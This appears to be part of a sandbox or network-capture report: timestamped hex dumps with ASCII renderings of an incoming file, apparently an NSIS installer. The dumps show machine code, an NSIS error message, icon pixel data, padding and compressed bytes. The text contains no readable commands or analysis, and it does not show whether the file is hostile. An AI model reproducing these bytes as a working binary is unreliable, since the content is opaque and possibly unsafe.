2023-06-01 10:14:14 UTC	23	IN	Data Raw: 00 00 89 45 a8 7d 05 89 55 c8 eb 10 83 7d c8 0a 7d 06 83 6d c8 03 eb 04 83 6d c8 06 39 55 cc 74 1c 8b 45 ec 2b 45 d4 3b 45 8c 72 03 03 45 8c 8b 4d f8 33 db 43 8a 04 08 88 45 a5 eb 68 33 db 43 e9 cd 01 00 00 8b 45 fc 8b 4d c8 c7 45 cc 01 00 00 00 c7 85 7c ff ff ff 07 00 00 00 8d b4 48 80 01 00 00 e9 d3 05 00 00 83 7d 94 00 0f 84 67 07 00 00 8b 4d 90 8b 45 f4 c1 65 f0 08 0f b6 09 ff 4d 94 c1 e0 08 0b c1 ff 45 90 89 45 f4 8b 45 c0 39 45 b8 0f 85 ad 00 00 00 81 fb 00 01 00 00 0f 8d 05 01 00 00 0f b6 45 a5 d0 65 a5 8b 4d a8 c1 e8 07 89 45 b8 40 c1 e0 08 03 c3 8d 34 41 8b 4d f0 c1 e9 0b 66 8b 06 89 75 ac 0f b7 d0 0f af ca 39 4d f4 73 1a 83 65 c0 00 89 4d f0 b9 00 08 00 00 2b ca c1 f9 05 03 c8 03 db 66 89 0e eb 1d 29 4d f0 29 4d f4 66 8b c8 c7 45 c0 01 00 00 00 Data Ascii: E}U}}mm9UtE+E;ErEM3CEh3CEME\|H}gMEeMEEE9EEeME@4AMfu9MseM+f)M)MfE
2023-06-01 10:14:14 UTC	31	IN	Data Raw: 00 69 00 6e 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 61 00 6e 00 64 00 20 00 64 00 61 00 6d 00 61 00 67 00 65 00 64 00 20 00 6d 00 65 00 64 00 69 00 61 00 2e 00 20 00 43 00 6f 00 6e 00 74 00 61 00 63 00 74 00 20 00 74 00 68 00 65 00 0a 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 27 00 73 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 20 00 74 00 6f 00 20 00 6f 00 62 00 74 00 61 00 69 00 6e 00 20 00 61 00 20 00 6e 00 65 00 77 00 20 00 63 00 6f 00 70 00 79 00 2e 00 0a 00 0a 00 4d 00 6f 00 72 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 61 00 74 00 3a 00 0a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6e 00 73 00 69 00 73 00 2e 00 73 00 Data Ascii: incomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.s
2023-06-01 10:14:14 UTC	39	IN	Data Raw: 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 Data Ascii:
2023-06-01 10:14:14 UTC	47	IN	Data Raw: ff 8e 52 09 ff 93 59 12 ff 9b 63 1d ff a1 6a 25 ff 9e 69 26 ff 88 54 12 ff 60 31 00 ff 49 26 02 c5 09 09 09 36 03 03 03 17 01 01 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 02 02 11 04 06 09 2f 47 29 05 94 9c 5d 0f ff b8 76 24 ff c9 81 29 ff ce 85 29 ff d2 86 28 ff d1 82 23 ff cf 81 20 ff d1 82 20 ff d3 83 1f ff d5 83 1f ff d5 84 1f ff d8 86 1f ff db 87 1e ff dd 89 22 ff e3 9d 46 ff e5 a0 4c ff e6 a0 4b ff e7 9d 43 ff e1 8c 20 ff c7 86 20 ff b2 8f 39 ff b2 91 3d ff b0 90 3b ff af 90 3b ff b1 92 3b ff b2 93 3b ff b3 94 3c ff b3 94 3a ff b2 94 3a ff b1 94 3b ff b1 91 32 ff af 85 1a ff b1 92 32 ff af 8b 22 ff af 87 18 ff b2 94 30 ff b0 8c 1d ff b6 8a 29 ff b9 8b 3c ff b5 89 2c ff af 8a 16 ff b0 8c Data Ascii: RYcj%i&T`1I&6/G)]v$))(# "FLKC 9=;;;;<::;22"0)<,
2023-06-01 10:14:14 UTC	54	IN	Data Raw: ff 08 73 0f ff 06 71 0d ff 05 70 0c ff 02 6d 0a ff 02 6e 09 ff 01 6f 0a ff 00 70 08 ff 00 6d 05 ff 03 70 0a ff 0e 73 0e ff 18 74 17 ff 27 7c 27 ff 3a 7b 3c ff 77 95 79 ff a1 a5 a2 ff b8 b2 b8 ff b4 b6 b4 ff ac b2 a9 ff a9 a9 99 ff a0 93 71 ff 91 90 74 ff 5d 8a 5d ff 3b 7c 3f ff 0a 6b 0d ff 02 71 0a ff 08 73 11 ff 09 71 10 ff 07 6f 0e ff 08 70 0f ff 09 73 10 ff 0a 70 10 ff 0b 72 10 ff 0b 70 0f ff 18 70 0f ff 2a 6e 0f ff 4f 68 0d ff 98 5e 0b ff a1 58 0a ff 9d 57 0a ff 99 56 09 ff 96 53 09 ff 91 51 09 ff 8d 4e 09 ff 89 4c 08 ff 85 4a 08 ff 81 48 08 ff 81 4a 0d ff 88 54 18 ff 90 5d 23 ff 92 61 29 ff 86 56 1f ff 63 35 04 ff 54 24 00 f9 1c 12 07 59 01 02 03 12 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sqpmnopmpst'\|':{<wyqt]];\|?kqsqopsprpp*nOh^XWVSQNLJHJT]#a)Vc5T$Y
2023-06-01 10:14:14 UTC	62	IN	Data Raw: ff b6 79 35 ff b5 79 33 ff b5 77 32 ff b4 77 31 ff b4 77 31 ff b5 78 31 ff b6 77 31 ff b7 77 31 ff b6 77 31 ff b1 70 29 ff b9 93 6a ff d4 d9 e0 ff c2 c7 c8 ff 98 a5 9a ff a4 98 a4 ff ce c8 cf ff b9 ad bb ff a0 a4 a1 ff 90 89 8f ff a0 78 9a ff 93 71 8f ff 7d 7d 7e ff 8a 5d 7f ff 75 73 76 ff 7e 75 7f ff a6 a6 ab ff c1 c6 c9 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff c1 c5 ca ff a7 ae b2 ff 8b 6f 44 ff 98 72 3c ff 98 73 3e ff 9a 74 3f ff 89 6d 3c ff 2d 52 31 ff 0e 42 28 ff 32 52 3b ff 6f 6c 6f ff 6e 6c 6e ff 6b 6c 6e ff 6f 65 56 ff 81 61 36 ff 73 68 50 ff 6f 6c 5f ff 6b 66 58 ff 6c 6a 61 ff 6d 6b 61 ff 6c 69 60 ff 68 64 5a ff 66 5e 4f ff 67 66 5b ff 60 53 3a ff 6a 51 2f ff 5a 4f 39 ff 97 a4 ad ff c3 c6 ca ff be c2 c6 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff bd c1 Data Ascii: y5y3w2w1w1x1w1w1w1p)jxq}}~]usv~uoDr<s>t?m<-R1B(2R;olonlnklnoeVa6shPol_kfXljamkali`hdZf^Ogf[`S:jQ/ZO9
2023-06-01 10:14:14 UTC	70	IN	Data Raw: ff 33 2a 23 ff 34 22 15 ff 37 24 16 ff 3a 26 16 ff 39 25 15 ff 3a 25 15 ff 66 38 16 ff 71 3c 16 ff 6c 3a 14 ff 6a 3a 15 ff 74 44 20 ff 7e 51 2f ff 85 58 37 ff 7a 50 2e ff 4e 24 0a ff 2f 0f 01 df 0b 07 04 2b 00 00 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 02 03 11 32 19 06 9f 89 53 29 ff ac 72 46 ff ad 74 46 ff ad 73 44 ff aa 6d 3f ff a8 6b 3a ff a8 6a 3a ff a7 68 39 ff a8 69 39 ff a8 69 39 ff a8 69 39 ff a7 66 34 ff b5 8d 6f ff cb d2 d7 ff cd d0 d4 ff bc c9 bf ff ac 8c a6 ff 9e 6f Data Ascii: 3*#4"7$:&9%:%f8q<l:j:tD ~Q/X7zP.N$/+2S)rFtFsDm?k:j:h9i9i9i9f4oo
2023-06-01 10:14:14 UTC	78	IN	Data Raw: ff aa ad b1 ff d7 dc e0 ff d6 da dc ff b6 c2 cc ff 08 1c 7c ff 00 02 75 ff 43 87 6b ff 43 8a 6f ff 46 8f 6a ff 34 69 6e ff 00 00 72 ff 1a 36 84 ff c4 ce d3 ff d5 d8 db ff d4 d8 dc ff ca cd d2 ff 3a 3a 3c ff 27 27 27 ff 2c 2c 2c ff 2b 2b 2b ff 2d 2d 2d ff 29 29 29 ff 2d 2d 2d ff 28 27 27 ff 2e 2e 2f ff c0 c5 c9 ff d5 d9 dd ff d6 d9 dc ff b7 c5 ce ff 0b 21 7f ff 00 00 6f ff 3b 5d 9c ff 56 88 a8 ff 45 77 96 ff 2b 46 93 ff 00 00 6d ff 1b 34 8b ff ca d2 d7 ff d4 d8 db ff d6 db df ff b4 b8 bb ff 24 24 24 ff 21 21 21 ff 23 23 23 ff 20 20 20 ff 21 21 21 ff 21 21 21 ff 21 21 21 ff 1e 1e 1e ff 40 40 40 e1 5c 5c 5c b1 58 58 58 b3 58 58 58 b3 5c 5c 5c b3 5f 5f 5f b3 69 69 69 b2 8d 8d 8d df b1 b0 b1 ff b4 b4 b4 ff 96 96 96 ff 52 52 52 db 05 05 05 13 00 00 00 00 00 00 Data Ascii: \|uCkCoFj4inr6::<''',,,+++---)))---(''../!o;]VEw+Fm4$$$!!!### !!!!!!!!!@@@\\\XXXXXX\\\___iiiRRR
2023-06-01 10:14:14 UTC	86	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	94	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	101	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	109	IN	Data Raw: ff 8e 90 75 ff 8f 94 7d ff 80 8c 71 ff 65 7c 53 ff 63 7d 52 ff 47 75 33 ff 32 71 20 ff 33 6e 1b ff 37 6e 19 ff 3a 6f 1a ff 36 6e 16 ff 35 6e 14 ff 3c 6f 17 ff 3a 6f 12 ff 3b 70 0e ff 3e 71 0c ff 44 74 0d ff 4a 74 0d ff 52 76 0f ff 56 76 10 ff 5c 74 10 ff 64 76 10 ff 6e 76 0f ff 78 75 0f ff 83 76 0f ff 8e 75 0e ff 9a 74 0d ff a8 73 0d ff b5 74 0d ff c0 73 0b ff c9 72 0b ff cc 72 0b ff ca 70 0a ff c6 70 0a ff c1 6d 0a ff bc 6b 0a ff b7 67 0a ff b1 64 09 ff ac 61 09 ff a6 5e 09 ff a0 5a 09 ff 9a 57 09 ff 94 53 08 ff 8d 50 08 ff 88 4d 07 ff 8a 52 0f ff 95 5f 1f ff 99 65 28 ff 84 52 17 ff 62 30 00 ff 26 16 06 71 01 02 04 11 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 03 0e 20 14 06 5c 93 58 Data Ascii: u}qe\|Sc}RGu32q 3n7n:o6n5n<o:o;p>qDtJtRvVv\tdvnvxuvutstsrrppmkgda^ZWSPMR_e(Rb0&q \X
2023-06-01 10:14:14 UTC	117	IN	Data Raw: ff b8 87 b0 ff ac 86 a4 ff a8 6b 9b ff 93 91 94 ff 85 7e 85 ff 79 79 7a ff 8c 86 8e ff 71 67 71 ff 95 94 98 ff cb d0 d3 ff c8 cc d0 ff c8 cc d0 ff c9 cf d4 ff 9b 96 86 ff 96 70 38 ff 9b 77 42 ff ad 8e 63 ff 9f 83 5b ff 7e 65 44 ff 61 71 49 ff 42 63 43 ff 2b 29 2b ff 6c 55 36 ff 90 7b 5c ff 8e 86 7a ff 79 74 73 ff 7f 76 76 ff 8e 82 79 ff 9b 89 72 ff 73 6a 66 ff 54 49 3c ff 69 52 30 ff 8a 90 8e ff cb cf d4 ff c8 cc d0 ff cc cf d3 ff cd d0 d3 ff cc d0 d3 ff dc dd de ff b7 b5 b2 ff 82 7c 79 ff 66 63 67 ff 97 8b 7b ff b0 8d 5c ff c2 aa 85 ff d7 d8 da ff cb cf d3 ff cd d0 d4 ff cc d1 d6 ff ba b4 af ff 7c 48 1b ff 7a 41 0f ff 7b 42 11 ff 7c 42 11 ff 7c 43 12 ff 7a 43 12 ff 76 41 12 ff 73 40 11 ff 78 48 1b ff 86 56 2c ff 86 59 2f ff 61 35 11 ff 32 13 02 c1 06 05 Data Ascii: k~yyzqgqp8wBc[~eDaqIBcC+)+lU6{\zytsvvyrsjfTI<iR0\|yfcg{\\|HzA{B\|B\|CzCvAs@xHV,Y/a52
2023-06-01 10:14:14 UTC	125	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 24 24 48 8a 8a 8a cd c7 c7 c7 ff d1 d1 d1 ff d3 d3 d3 ff d6 d7 d6 ff db db da ff e0 e0 e0 ff e5 e5 e5 ff e9 e9 e9 ff ef ef ee ff ee ee ee ff 8a 8a 8a ff 32 32 32 ff 2c 2c 2c ff 2a 2a 2a ff 29 29 29 ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 22 22 22 ff 53 55 56 ff cc d0 d5 ff ce d2 d4 ff 68 76 a7 ff 21 3a 96 ff 86 b7 e3 ff 4d 7f a5 ff 7e ac d5 ff 1b 32 84 ff 61 73 9d ff cf d2 d4 ff ce d2 d8 ff 88 8a 8e ff 23 23 22 ff 2b 2b 2b ff 29 29 29 ff 2a 2a 2a ff 29 29 29 ff 23 23 23 ff 8d 90 92 ff ce d2 d7 ff c7 cd d1 ff 3a 4c 8f ff 55 59 9a ff b5 be c5 ff 51 83 a5 ff 68 90 c7 ff 0b 1c 7c ff 93 9f b8 ff ce d1 d4 ff c5 c9 ce ff 4a 4b 4c ff 1c 1c 1c ff 21 21 21 ff 21 21 Data Ascii: $$$H222,,,*)))&&&&&&'''((('''"""SUVhv!:M~2as##"+++)))*)))###:LUYQh\|JKL!!!!!
2023-06-01 10:14:14 UTC	133	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	140	IN	Data Raw: ff e6 94 2f ff cd 8c 28 ff bb 94 3d ff bc 94 3b ff bc 95 3b ff bc 97 3b ff bd 98 3b ff bc 93 2e ff bc 92 27 ff bb 8f 21 ff ba 94 25 ff bd 8e 21 ff c1 8e 2f ff bb 8e 18 ff b9 8e 15 ff b9 8e 15 ff b8 8f 15 ff b8 8e 13 ff b8 8f 14 ff b7 8e 13 ff b4 8d 12 ff b4 8d 11 ff b4 8d 11 ff b4 8c 11 ff b3 8b 10 ff b1 8a 0e ff b0 89 0f ff ae 88 0d ff ad 87 0c ff ad 86 0b ff af 85 0d ff b5 86 13 ff c4 89 21 ff d4 8e 2d ff d9 92 33 ff d7 91 33 ff c8 88 25 ff b2 7e 10 ff ac 7c 0a ff ae 7d 0b ff ac 7a 0a ff ab 79 09 ff b2 77 0a ff c4 74 09 ff c3 70 08 ff ba 6b 08 ff b1 66 08 ff a7 60 08 ff 9e 5b 07 ff 95 56 07 ff 8f 54 09 ff 98 60 19 ff a0 6a 26 ff 80 4c 0f ff 42 22 03 ba 03 04 05 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 03 05 1f 5e 37 08 b5 ba 75 Data Ascii: /(=;;;;.'!%!/!-33%~\|}zywtpkf`[VT`j&LB"^7u
2023-06-01 10:14:14 UTC	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 02 40 7b 4c 26 f4 ae 75 47 ff ab 6e 42 ff a7 69 3c ff a6 68 3a ff a6 67 39 ff a7 68 39 ff bc af a6 ff c5 cc cc ff ab 8e a6 ff 8d 76 88 ff 81 6a 7d ff 46 3d 45 ff 16 17 16 ff 1b 1c 1b ff 1c 1b 1b ff 1e 1e 1e ff 20 20 1f ff 21 21 20 ff 23 23 23 ff 24 24 24 ff 26 25 25 ff 27 27 27 ff 28 28 28 ff 2a 2a 2a ff 29 29 29 ff 2b 2b 2b ff 29 29 29 ff 29 29 29 ff 2a 29 29 ff 29 28 28 ff 29 29 29 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 25 25 25 ff 24 24 23 ff 23 23 23 ff 24 24 24 ff 21 21 21 ff 21 21 21 ff 1f 1f 1f ff 1f 1f 1f ff 1d 1d 1d ff 1c 1c 1c ff 1b 1b 1a ff 1a 1a 1b ff 19 1b 1d ff 16 1a 1c ff 4d 2f 19 ff 6e 3b 15 ff 6c 3c 1a ff 7e 50 Data Ascii: @{L&uGnBi<h:g9h9vj}F=E !! ###$$$&%%'''(((**)))+++)))))))))(()))'''((('''%%%$$####$$$!!!!!!M/n;l<~P
2023-06-01 10:14:14 UTC	156	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	164	IN	Data Raw: ff c1 81 30 ff bf 7d 28 ff c3 a8 86 ff cd d0 d6 ff b6 ab b6 ff ac 95 a9 ff b5 9a b2 ff a5 92 a2 ff 89 7d 88 ff 94 84 98 ff c9 af 87 ff db a8 5d ff b3 a4 88 ff 69 6d 6c ff 21 28 2c ff 24 29 2c ff 26 2b 2e ff 26 2c 2e ff 27 2c 2f ff 27 2b 2f ff 26 2c 2e ff 25 2a 2d ff 24 29 2c ff 21 27 2a ff 27 2d 30 ff 6b 77 80 ff ca ce d3 ff c8 cc d1 ff c8 cb d0 ff d4 d6 d8 ff c4 c3 c4 ff af ae ad ff 9a 9d a0 ff ab b0 b7 ff d0 d3 d6 ff c8 cc d0 ff ca d0 d7 ff a5 7b 50 ff 93 4c 05 ff 90 4e 0a ff 89 4b 0a ff 82 47 0a ff 7b 43 09 ff 77 42 0c ff 84 52 20 ff 81 52 22 ff 49 22 04 e0 0b 07 04 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 07 03 2f 83 51 1a e6 bf 84 3c ff be 81 38 ff ba 7d 30 ff bb 7d 2f ff bd 7d Data Ascii: 0}(}]iml!(,$),&+.&,.',/'+/&,.%-$),!''-0kw{PLNKG{CwBR R"I"(/Q<8}0}/}
2023-06-01 10:14:14 UTC	172	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:14 UTC	179	IN	Data Raw: ff 1d 1d 1d ff 1a 1a 1a ff 19 19 19 ff 17 1b 1d ff 24 20 1d ff 65 37 16 ff 72 42 20 ff 7c 50 2f ff 32 17 08 b6 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 60 39 1f c8 b0 73 48 ff a3 68 3d ff 7d 50 30 ff 78 55 3e ff 80 7e 7f ff 68 66 69 ff 4f 4d 4f ff 3f 3e 3f ff 1f 1f 1f ff 23 23 23 ff 24 24 24 ff 27 27 27 ff 2a 2a 2a ff 2b 2b 2b ff 2c 2c 2c ff 2e 2e 2e ff 2d 2d 2d ff 2e 2e 2e ff 2f 2f 2f ff 2e 2e 2e ff 2f 2f 2f ff 2f 2f 2f ff 2d 2d 2d ff 2c 2c 2c ff 2b 2b 2b ff 29 29 29 ff 28 28 28 ff 27 27 27 ff 24 24 24 ff 21 21 21 ff 1e 1f 21 ff 3d 2a 1d ff 6d 39 15 ff 74 46 24 ff 75 49 2c ff 23 0e 04 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: $ e7rB \|P/2`9sHh=}P0xU>~hfiOMO?>?###$$$'''**+++,,,...---...///...//////---,,,+++)))((('''$$$!!!!=m9tF$uI,#
2023-06-01 10:14:14 UTC	187	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 01 80 00 Data Ascii:
2023-06-01 10:14:14 UTC	195	IN	Data Raw: b6 73 52 ef f8 55 c6 bb d0 ba ec 86 ae fb 6d ab 3f ae 0a fb 94 81 46 f1 41 2d 87 1f f8 c1 79 58 f6 df 62 86 c9 e4 53 01 96 76 cc d3 c5 b7 5c 47 8c 31 de 82 45 49 06 8f 9a b5 e8 89 6f e7 e8 a4 39 61 43 f3 25 8b 93 fb 8c 14 70 be a3 aa b3 8e 20 f4 6e 30 fd c4 f3 d7 53 61 71 d2 3e 67 ec 74 48 e1 16 2d 9c be 53 9b 34 88 b5 08 d4 b4 9c d1 70 5a ff a2 17 58 81 29 f5 78 f0 36 82 88 d4 95 0c 69 a6 2b 6b b7 82 20 62 68 00 4e 6e 20 87 6f 40 48 eb 1b 9d 72 94 39 df 4d 2f ff 79 f3 c2 ed ca 97 aa 77 99 90 9d f8 78 1d 91 85 a9 7a 77 8c 76 a5 0f f8 fe 26 08 05 e8 5c a3 ec 80 98 fd ad c6 87 72 5a 4e f7 b7 b1 10 0a 6c f2 dd 9b bc 40 de c0 eb 3b 0d 25 86 bb 2b fd c6 9c 5a 54 ee 9d 98 17 4b 4f 25 5d 50 41 b6 d2 04 f4 e6 10 46 6a d3 27 d3 20 9b 87 4f bc 97 d5 80 2f 98 40 15 Data Ascii: sRUm?FA-yXbSv\G1EIo9aC%p n0Saq>gtH-S4pZX)x6i+k bhNn o@Hr9M/ywxzwv&\rZNl@;%+ZTKO%]PAFj' O/@
